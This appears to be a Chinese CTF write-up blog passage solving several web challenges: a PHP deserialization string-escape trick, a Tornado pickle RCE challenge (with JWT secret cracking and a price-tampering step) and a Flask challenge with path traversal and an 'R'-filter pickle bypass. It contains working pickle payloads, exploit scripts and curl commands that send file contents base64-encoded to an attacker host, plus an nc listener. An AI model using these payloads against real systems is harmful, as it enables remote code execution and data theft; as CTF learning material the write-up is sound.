php为了更加方便的进行反序列化内容的传输与显示(避免都是某些控制字符等信息),可以在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示,格式如下:
s:8:extrader;->S:8:\65xtrader
这时候我们就可以传入两个值来进行利用了,$this->post
就是$_POST
这个数组,payload如下
a=\31\31\31\31\31\31\31\31\31\31\31&Location=;s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}
解释一下上面的payload
当上面这一串payload打到网站,serialize($_POST)
后的值是
a:2:{
s:1:"a";s:33:"\31\31\31\31\31\31\31\31\31\31\31";
s:8:"Location";s:63:";s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}";
}
但是这里s:
替换成S:
后,\31
就自动转成1
了,这样前面的33没变,但是后面的值变了,和反序列化字符串逃逸差不多,这里是长变短,一个\31
多出两个字符,于是就可以想着去闭合后面的";s:8:"Location";s:63:
,22个字符(当然这里也可以不是Location,凑成双数即可),这样后面的Location
就能生效反序列化识别成一个类了,至于后面多余的可以不用管,php会自动舍弃,于是我们传11个\31
即可拿到flag
Python
CISCN2019-华北赛区-Day1-Web2—ikun
根据题目提示需要买到lv6的账号,于是写脚本找
import requests
url = "http://4882ba34-0c83-48c1-b876-e1b21efa6a68.node3.buuoj.cn/shop?page={}"
for i in range(1000):
a = requests.get(url.format(i))
if "static/img/lv/lv6.png" in a.text:
print(url.format(i))
跑出lv6在page=181
的页面,点击购买钱不够,发现有折扣,于是抓包改折扣为0.0000001,随后提示需要是admin
,抓包注意到有一个jwt
的cookie
,参考,这里有一个编解码网站,再找到爆破密钥脚本网站,跑出来密钥为1kun
,放到编码网站编码后携带这个jwt
的cookie
发包,随后来到b1g_m4mber
界面,查看源码得到www.zip
源码包,找到关键利用的代码
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
明显的pickle反序列化利用,POST的become
为利用点,随后构造反序列化利用poc:
# -*- coding: UTF-8 -*-
# 题目是在python2环境下,需要用python2跑
import pickle
import urllib
class dairy(object):
def __reduce__(self):
return eval, ("open('/flag.txt','r').read()",) // eval直接读取文件
today = dairy()
# print(pickle.dumps(today))
x = pickle.dumps(today)
print(urllib.quote(x))
a = pickle.loads(urllib.unquote(x))
得到payload:
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
传入发包得到flag
第一届“长城杯”网络安全大赛院校组-ez_python
源码提示 <!-- ?pic=1.jpg -->
,尝试读取/etc/passwd
可以读取
/proc/self/environ
读取环境变量 敏感文件搜集
MAIL=/var/mail/app
USER=app
HOSTNAME=engine-1
SHLVL=1
PYTHON_PIP_VERSION=20.1
HOME=/home/app
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
LOGNAME=app
_=/bin/su
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.py
TERM=xterm
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SHELL=/bin/sh
PYTHON_VERSION=3.8.2
PWD=/app
PYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
又环境变量得知PYTHON_VERSION=3.8.2
,PWD=/app
联想python
题目的一般形式,flask
写的一般入口为app.py
,读取源代码 /app/app.py
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)
明显的pickle
反序列化,不过有一个check
,限制了R
指令,即不能使用__reduce__
执行命令了,当是我们这题要需要RCE
来读flag
这里可以使用BUILD指令(指令码为b
)绕过,实现RCE
效果,参考我原来写的:Python反序列化漏洞浅析
先构造一个初始payload
import pickle
import pickletools
import os
class User():
def __init__(self,name,age):
self.name = name
self.age = age
user = User()
print(pickle.dumps(user))
输出反序列化后的结果\x80\x03c__main__\nUser\nq\x00)\x81q\x01.
,这里的符号含义就不解释了
在payload
里面添加b
指令码操作,由于没有回显,我们使用sleep
延时判断是否命令执行成功
\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVsleep 5\nb.
放到cookie
发包,成功延时5s,于是curl
请求外带来执行命令
\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:2333/`ls / | base64`\nb.
\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:2333/`cat /flagggggggggggggaaa | base64`\nb.
在自己服务器上nc -lvnp 2333
,可以收到base64编码后的flag,解码即可
写个exp:
import requests
import urllib3
import base64
urllib3.disable_warnings()
url = "http://eci-2ze3ul2c0sy8uv9fos2o.cloudeci1.ichunqiu.com:8888/"
headers = {
"User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/88.0.4324.192 Mobile Safari/537.36 "
}
payload = b'\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:2333/`cat /flagggggggggggggaaa | base64`\nb.'
cookie = str(base64.b64encode(payload), encoding='utf-8')
cookies = {
"user":"{}".format(cookie)
}
requests.get(url=url, headers=headers, cookies=cookies)
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues